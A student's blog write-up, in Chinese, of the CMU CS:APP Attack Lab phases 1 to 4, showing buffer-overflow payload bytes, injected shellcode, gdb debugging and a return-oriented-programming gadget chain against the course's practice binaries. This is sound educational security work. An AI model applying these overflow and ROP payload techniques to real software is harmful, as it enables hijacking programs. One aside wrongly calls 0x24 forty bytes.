attack lab
attacklab
phase1
目标:想实现从test()
函数劫持getbuf()
的返回地址,使得调用getbuf获取输入后,直接跳转到目标地址执行touch1()
。
void test() { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); Getbuf returned 0x%x\n", val); }
劫持后的函数touch1()
:
1 void touch1() 2 { 3 vlevel = 1;/* Part of validation protocol */ 4 printf("Touch1!: You called touch1()\n"); 5 validate(1); 6 exit(0); 7 }
Your task is to get CTARGET
to execute the code for touch1
when getbuf
executes its return statement,rather than returning to test.
分析test的汇编代码:
这里可以用用objdump -d ctarget > ctarget_raw.txt
产生汇编代码观察getbuf的行为,从而不用通过gdb动态调试来看反汇编的函数代码了。
(gdb) disassemble test Dump of assembler code for function test: 0x0000000000401968 <+0>: sub $0x8,%rsp 0x000000000040196c <+4>: mov $0x0,%eax 0x0000000000401971 <+9>: call 0x4017a8 <getbuf> 0x0000000000401976 <+14>: mov %eax,%edx 0x0000000000401978 <+16>: mov $0x403188,%esi 0x000000000040197d <+21>: mov $0x1,%edi 0x0000000000401982 <+26>: mov $0x0,%eax 0x0000000000401987 <+31>: call 0x400df0 <__printf_chk@plt> 0x000000000040198c <+36>: add $0x8,%rsp 0x0000000000401990 <+40>: ret End of assembler dump.
在<+9>: call 0x4017a8 <getbuf>
,我们需要做的就是调用getbuf的时候,输入超长字符串,导致调用getbuf之前保存的返回地址替换为touch1的地址。这样让getbuf调用ret指令时候,会将替换后的地址作为 program counter(%rip)的值,从而实现控制转移。而touch1的地址为:0x4017c0
确认超长字符串的内容:
因为返回地址保存在getbuf开辟的地址之上,就需要看下函数getbuf开辟了多少空间:
Dump of assembler code for function getbuf: 0x00000000004017a8 <+0>: sub $0x28,%rsp 0x00000000004017ac <+4>: mov %rsp,%rdi 0x00000000004017af <+7>: call 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov $0x1,%eax 0x00000000004017b9 <+17>: add $0x28,%rsp 0x00000000004017bd <+21>: ret End of assembler dump.
可以看出getbuf开辟了0x28(hex) = 40(dec)字节空间,所以可以推断出只要写40个字节的数据,就可以覆盖getbuf开辟的栈空间,并且将41个字节保存touch1的地址(64位数据void*),即可实现level1的要求。
按照8个字节为一个单位,需要5个单位的覆盖值,并且加一个单位的0x4017a8返回地址。这里利用自带的HEX2RAW程序来执行。
exploit.txt文件内容:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
unix> ./hex2raw < exploit.txt > exploit-raw.txt unix> ./ctarget -q -i exploit-raw.txt Cookie: 0x59b997fa Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
不知道为什么用:
unix> cat exploit.txt | ./hex2raw | ./ctarget
就会报错,这是为什么呢?chatgpt给的答案是:
第一种方法(
cat exploit.txt | ./hex2raw | ./ctarget
)出错的可能原因与输入的处理方式或程序处理输入重定向和管道的方式有关。通过将输入预先转换为原始格式(exploit-raw.txt
),你可以避开与管道相关的潜在问题。
管道?算了,不是研究重点,先放一下,二周目再来。
phase2
Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case,however, you must make it appear to touch2 as if you have passed your cookie as its argument.
任务描述:让CTARGET
执行touch2
而不是重新执行test
,而且touch2
的入参是自己的cookie。
思路:
- 劫持执行地址我熟悉,同level1,将test调用getbuf之前保存的返回地址,由getbuf的下一行指令地址改为touch2的初始地址。
- 入参,怎么才能让touch2的入参(
%rdi
)赋值为自己的cookie呢?
这里作者简单介绍了下大体实现思路:
Your injected code should set the register to your cookie, and then use a ret instruction to transfer control to the first instruction in touch2.
实现思路:首先将cookie -> rdi,然后调用ret。这时栈回收,并且将修改后为touch2的初始地址作为执行地址。这样出现的问题就是,函数返回后,rdi会保存的是之前cookie的值吗?这就涉及到了调用者和被调用者寄存器的保存问题,这里模糊不清,证明当时没学明白。
重新学习3.7.5 Local Storage in Registers
这里的caller代指P函数,callee代指P函数中调用的Q函数。
- caller为了确保调用完callee后不影响后续代码执行,
- callee-registers:确保Q(callee)执行完毕后,这些寄存器的值不会改变。(那为啥不让caller直接保存所有的寄存器值?-因为返回值还是需要Q改变的)典型的%rbx, %rbp, and %r12–%r15
- caller-registers:可以被任意修改的寄存器。除了%rbx, %rbp, and %r12–%r15和%rsp,其他的寄存器。
总结的话就是函数Q除了%rbx, %rbp, and %r12–%r15的状态不能动外,其他寄存器状态都可以动。
理解了调用者寄存器和被调用者寄存器区别,这样cookie -> rdi后,即使函数控制返回了,可能会带着cookie的rdi来进入touch2函数。
所以实现思路应该是可行的。但是这样存在一个问题:因为exploit string输入到getbuf后,getbuf会将栈回收,会导致rdi无法被赋值cookie,直接执行到touch2的地址。
那么需要重新思考下思路:如何保证栈不会被回收?这样就可以让getbuf执行完毕后,下一步执行地址直接到栈的漏洞代码中。或许还有其他的好玩的方法?其实栈并没有被回收,数据均存在,那么就可以考虑漏洞代码的编写。
- 将test调用getbuf之前保存的返回地址,改为漏洞代码执行的地址。
- 漏洞代码实现:
- 将cookie值赋值给%rdi
- push touch2的地址
- ret
要想获得漏洞代码执行的地址,就需要获取执行getbuf时栈顶(%rsp)位置。初步想在getbuf分配栈空间的位置打断点,通过调试查看rsp即可。
但是我没法让程序ctarget正常跑起来 😦
思考了一会,woc,第一个答案输入进去,不就可以正常执行了吗?
(gdb) run -q -i exploit-raw.txt
查看getbuf分配栈空间后的栈顶:
(gdb) disassemble getbuf Dump of assembler code for function getbuf: => 0x00000000004017a8 <+0>: sub $0x28,%rsp 0x00000000004017ac <+4>: mov %rsp,%rdi 0x00000000004017af <+7>: call 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov $0x1,%eax 0x00000000004017b9 <+17>: add $0x28,%rsp 0x00000000004017bd <+21>: ret End of assembler dump. (gdb) b *0x4017af (gdb) continue Continuing. Breakpoint 3, 0x00000000004017af in getbuf () at buf.c:14 14 in buf.c
在调用call之前查看rsp的值:0x5561dc78
(gdb) print $rsp $1 = (void *) 0x5561dc78
获取到可以注入漏洞代码的地址后,我们可以将最后的ret指令放在0x5561dc78位置,然后补充这个漏洞代码。(这里勘误:因为漏洞代码的执行顺序是从低地址到高地址的方向,栈空间是从高地址向着低地址生长。而顶位置正是地址较小的位置,所以栈顶位置0x5561dc78
从头开始放漏洞代码即可)
获取touch2的地址:0x4017ec
(gdb) b touch2 Breakpoint 4 at 0x4017ec: file visible.c, line 40.
漏洞代码p2.s
:
movq $0x59b997fa,%rdi pushq $0x4017ec ret
获取漏洞代码的字节表示:
unix> gcc -c p2.s unix> objdump -d p2.o > p2.d
p2.d
内容:
1 2 p2.o: file format elf64-x86-64 3 4 5 Disassembly of section .text: 6 7 0000000000000000 <.text>: 8 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 9 7: 68 ec 17 40 00 push $0x4017ec 10 c: c3 ret ~
可以看出这段代码占的空间为13字节,所以漏洞代码的执行地址应该是栈顶地址0x5561dc78
减去0xd
,即为0x5561dc6b
。
数据构造:根据小端存储的特性,应该将输入的字节数据中,漏洞代码放在前面,从而存储在栈顶位置;而要被替换的返回地址要在后面存储,从而存储在栈底位置。按照这样构造逻辑,可以实现exploit2.txt
c3 00 40 17 ec 68 59 b9 97 fa c7 c7 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6b dc 61 55 00 00 00 00
执行
unix> ./hex2raw < exploit2.txt > exploit-raw2.txt unix> ./ctarget -q -i exploit-raw2.txt
报错了,查看下问题存在的原因:
crx@ubuntu:03_attack_lab$ ./hex2raw < exploit2.txt > exploit-raw2.txt crx@ubuntu:03_attack_lab$ ./ctarget -q -i exploit-raw2.txt Cookie: 0x59b997fa Ouch!: You caused a segmentation fault! Better luck next time FAIL: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:FAIL:0xffffffff:ctarget:0:C3 00 40 17 EC 68 59 B9 97 FA C7 C7 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
已经修改了真正的漏洞代码地址:执行地址应该是栈顶地址0x5561dc78
加上0xd
,即为0x5561dc85
。重新执行,还是报错。
单步执行下,看看是否填充字符后,数据怎么分布的:
(gdb) disassemble Dump of assembler code for function getbuf: 0x00000000004017a8 <+0>: sub $0x28,%rsp 0x00000000004017ac <+4>: mov %rsp,%rdi 0x00000000004017af <+7>: call 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov $0x1,%eax 0x00000000004017b9 <+17>: add $0x28,%rsp => 0x00000000004017bd <+21>: ret End of assembler dump. (gdb) x/50xb $rsp 0x5561dca0: 0x6b 0xdc 0x61 0x55 0x00 0x00 0x00 0x00 0x5561dca8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dcb0: 0x24 0x1f 0x40 0x00 0x00 0x00 0x00 0x00 0x5561dcb8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dcc0: 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4 0x5561dcc8: 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4 0x5561dcd0: 0xf4 0xf4 (gdb)
在getbf返回之前下的断点,然后打印此时栈空间的数据,发现从栈顶0x5561dca0
开始保存的居然是漏洞的执行地址0x5561dc6b
,而正常情况下这里应该保存的是漏洞代码。而漏洞的执行地址应该存放0x5561dcc8
即%rsp + 0x28
,为什么会这样?😶
好吧,这样是没问题的,因为断点打错了,应该是打在还尚未将栈空间回收的0x4017b9
处,重新来:
(gdb) x/50xb $rsp 0x5561dc78: 0xc3 0x00 0x40 0x17 0xec 0x68 0x59 0xb9 0x5561dc80: 0x97 0xfa 0xc7 0xc7 0x48 0x00 0x00 0x00 0x5561dc88: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dc98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dca0: 0x6b 0xdc 0x61 0x55 0x00 0x00 0x00 0x00 0x5561dca8: 0x00 0x00
还是报错。
思考后发现存储的时候,没有考虑到小端存储和指令从小到大的地址进行执行的原理:最后存放的漏洞代码地址,要放在最后面,这个没什么问题;但是漏洞代码怎么执行呢?应该是从之前的栈顶往地址高的地方执行,所以栈顶从下至上(地址从低到高)保存指令应该依次是:
0x5561dc78: movq $0x59b997fa,%rdi +7 pushq $0x4017ec +c ret
所以在拼装exploit2.txt
的时候,最前面的数据就是直接放漏洞代码的字节表示p2.o
。之前出错就是因为没有考虑到栈的地址是从下到上逐渐递增的。
重新改写exploit2.txt
:
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6b dc 61 55 00 00 00 00
执行还是报错,查看此时栈保存的指令:
(gdb) disassemble Dump of assembler code for function getbuf: 0x00000000004017a8 <+0>: sub $0x28,%rsp 0x00000000004017ac <+4>: mov %rsp,%rdi 0x00000000004017af <+7>: call 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov $0x1,%eax => 0x00000000004017b9 <+17>: add $0x28,%rsp 0x00000000004017bd <+21>: ret (gdb) x/10i $rsp 0x5561dc78: mov $0x59b997fa,%rdi 0x5561dc7f: push $0x4017ec 0x5561dc84: ret 0x5561dc85: add %al,(%rax) 0x5561dc87: add %al,(%rax) 0x5561dc89: add %al,(%rax) 0x5561dc8b: add %al,(%rax) 0x5561dc8d: add %al,(%rax) 0x5561dc8f: add %al,(%rax) 0x5561dc91: add %al,(%rax) (gdb) x/50xb $rsp 0x5561dc78: 0x48 0xc7 0xc7 0xfa 0x97 0xb9 0x59 0x68 0x5561dc80: 0xec 0x17 0x40 0x00 0xc3 0x00 0x00 0x00 0x5561dc88: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dc98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x5561dca0: 0x6b 0xdc 0x61 0x55 0x00 0x00 0x00 0x00
这样应该是没问题的,那我们单步执行,看看getbuf执行ret后,rsp是否保存的是漏洞代码执行位置...等等,我怎么保存的地址是0x5561dc6b
?
改过来以后的exploit2.txt
:
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
重新执行就可以了:
unix$ ./ctarget -q -i exploit-raw2.txt Cookie: 0x59b997fa Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
leve2的思考:漏洞代码字节码和要覆盖的地址要怎么写入到48个字节中?
Q1:为什么要放到48个字节中?
A1:因为要修改test调用getbuf之前保存的地址信息,而这个信息被保存在getbuf的栈空间往上40个字节的位置,占位空间为8个字节(void*)。
Q2:如何组织48个字节的内容?
A2:根据栈空间从高到低的生长特性和小端存储的特性,可以得知输入的数据从开始到最后,就是沿着栈地址空间从低到高的方向存储的。但是需要注意的问题就是小端存储的地址信息0x5561dc78
,实际在第40个字节处的十六进制保存形式为78 dc 61 55 00 00 00 00
。
至于漏洞代码,直接从0字节开始正常保存即可。所以组织形式就是开始保存漏洞代码,然后填充0,直到第40个字节开始填充要修改的地址信息:78 dc 61 55 00 00 00 00
。
phase3
首先理解函数hexmatch
功能:
/* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
sprintf(s, "%.8x", val);
:将unsigned
类型的值val,存储在字符指针s所指的地址处,而s
的位置是随机的。那么如果val=0x12345678,那么s处存的是什么呢?存的就是12345678的字符形式“12345678”。然后从低到高的16进制数据为31 32 33 34 35 36 37 38
。
那么这个函数hexmatch
功能就可以理解了:
将一个无符号整型变量参数转换为字符串后,跟另一个字符串变量的前9个字符进行比对,相同返回1,不同返回0。
然后题目让我们直接执行touch3不返回test,看下touch3的代码:
void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
也就是说要想让touch3成功执行,就需要让touch3的入参字符串跟整型cookie的字符串表示形式相同才可以。
现在cookie的无符号整型表示为:0x59b997fa
,字符表示为35 39 62 39 39 37 66 61 00
.实际小端存储的形式是fa97b959
。所以其字符串的表示为66 61 39 37 62 39 35 39 00
。所以输入的字符串就可以确定是这样的了。
leve3的大体实现思路:
- 将getbuf执行完后的返回地址改为漏洞代码的地址。
- 漏洞代码需要实现下面几个功能:
- 将入参置为指向一段值为
35 39 62 39 39 37 66 61 00
的指针。 - 调用touch3函数
- 将入参置为指向一段值为
这里需要注意的是,调用touch3的时候,原先getbuf用于存储数据的栈,就会被函数 hexmatch and strncmp用来存储数据。如果这两个函数的栈空间数据正好写入到了漏洞代码的位置,那么就会导致本次攻击代码失败。
那么怎么才能保护getbuf中写入的漏洞代码呢?可以考虑把cookie
的字符串数据存在test
的栈上,其它部分与上题相同。
实现思路是:
将getbuf的返回地址改为漏洞代码的位置,然后返回地址上面保存cookie字符串表示。漏洞代码将rdi置为cookie字符串保存的位置,然后将touch3的位置0x4018fa
push到栈中,然后ret,让程序计数器执行touch3。
这样数据就有56个字节的数据了,栈顶地址为0x5561dc78
,所以cookie字符串保存的位置就是栈顶地址向上的第48个字节(从0开始)的位置:0x5561dcA8
,保存的数据是35 39 62 39 39 37 66 61 00
漏洞代码编写为:
movq $0x5561dcA8,%rdi push $0x4018fa ret
对应的字节码为:
1 2 p3.o: file format elf64-x86-64 3 4 5 Disassembly of section .text: 6 7 0000000000000000 <.text>: 8 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 9 7: 68 fa 18 40 00 push $0x4018fa 10 c: c3
这样总的输入字符串为:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
将其转换为输入字符串后,执行结果:
crx@ubuntu:03_attack_lab$ ./ctarget -q -i exploit3-raw.txt Cookie: 0x59b997fa Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
用时4h,卡住我的主要问题是:
-
sprintf
函数作用:是将一个参数以某种形式转换为字符串,然后保存在某个字符串指针处。在这个题目中,是将cookie代表的unsigned类型的值0x59b997fa
格式化为一个以十六进制表示的字符串“59b997fa”,并将结果存储在字符串数组s
中。而字符串"59b997fa"
的实际是按照每个字符的ascii码来表示的,即为35 39 62 39 39 37 66 61
。这里花了大量时间去考虑数值类型的cookie到底被转换成什么字符串了,其实这里sprintf的本质就是将数据以16进制形式打印出来,并将打印结果存储起来:这个问题暴露出来的弱点就是不理解函数到底做了什么,导致花的时间很多
-
计算字符串保存的位置:因为getbuf申请了
0x24
十进制为40的栈空间,所以从0开始的话,40到47存放的是漏洞代码地址,然后48到55存放的是cookie十六进制表示的字符串。 -
另一个就是新知识:既然栈会被新的函数参数填入,可能会导致漏洞代码失效,那么我就在test函数上存放一些数据。
现在去拿眼镜。
phase4
返回导向编程 (Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。
ret指令相当于pop ip
,即将栈顶保存的数据作为程序计数器执行的地址。
梳理下phase4的问题:
现在由于加入了一些限制条件,需要用已有代码而不能自己编写漏洞代码来攻击程序。现在想实现的是跟phase2相同的想法:
- 将getbuf调用后的返回地址设置为漏洞代码地址
- 调用漏洞代码
- 将cookie值作为touch2入参
- 调用touch2
之前的思路是将漏洞代码放到getbuf申请的栈顶位置,然后调用getbuf后返回的地址设置为漏洞代码的位置,这样就可进行攻击了。之前的漏洞代码汇编语言实现为:
movq $0x59b997fa,%rdi pushq $0x4017ec ret
但是现在漏洞代码需要通过已有的代码来拼凑,并且无法做到在已有代码中找到一段代码包含cookie值0x59b997fa
,也不能找到pushq $0x4017ec
的现有代码。
现在的思路是:
- 要想
cookie
的值赋值给%rdi
,可以先将cookie
放在栈顶中(超量写入即可),然后调用popq %rdi
,使栈顶中的cookie
赋值给%rdi
. - 如果想要访问touch2的地址,可以将touch2的地址最后写入栈顶中,然后ret即可。
最终想要实现的效果如图所示:
但是发现gadget01
的代码实现即5f
在<start_farm>
和<end_farm>
之间并没有直接实现,那我们可以退而求其次,看看能否先将cookie存储到其他寄存器中,然后再使用mov 寄存器, rdi
。
popq %rax
字节表示为:0x58
,查看在<start_farm>
和<end_farm>
之间是否有这个指令:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3 ret
可以发现正好在0x4019ca
后面偏移3个字节的位置即0x4019cc
的位置存在这个指令,并且因为0x90
是nop
指令不做任何操作,而后面的c3
恰好是我们需要的ret
指令的字节表示,所以可以将gadget01
的位置设置为0x4019cc
,实现的指令为:
#gadget01: popq %rax ret
那么相对应的gadget02
的指令应该为
#gadget02 movq %rax,%rdi # 48 89 c7 ret # c3
然后就在<start_farm>
和<end_farm>
之间寻找48 89 c7
的指令是否存在并且后面是否存在ret
指令:
00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 ret
这样在地址0x4019a2
处的指令恰好满足我们的需求,所以可以确定将gadget02
的位置设置为0x4019a2
,这样修改后的栈空间示意图为:
所以设计的输入数据的思路为:4017ec
- 前五行:前40个字节无效输入均为0
- 第六行:索引40到47处保存gadget01代码地址
- 第七行:索引48到55处保存cookie
- 第八行:索引56到63保存gadget02代码地址
- 第九行:索引64到71保存touch2的地址
即:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
执行后的成功结果:
crx@ubuntu:03_attack_lab$ ./rtarget -q -i exploit4-raw.txt Cookie: 0x59b997fa Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
本文作者:上山砍大树
本文链接:https://www.cnblogs.com/shangshankandashu/articles/18192417
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步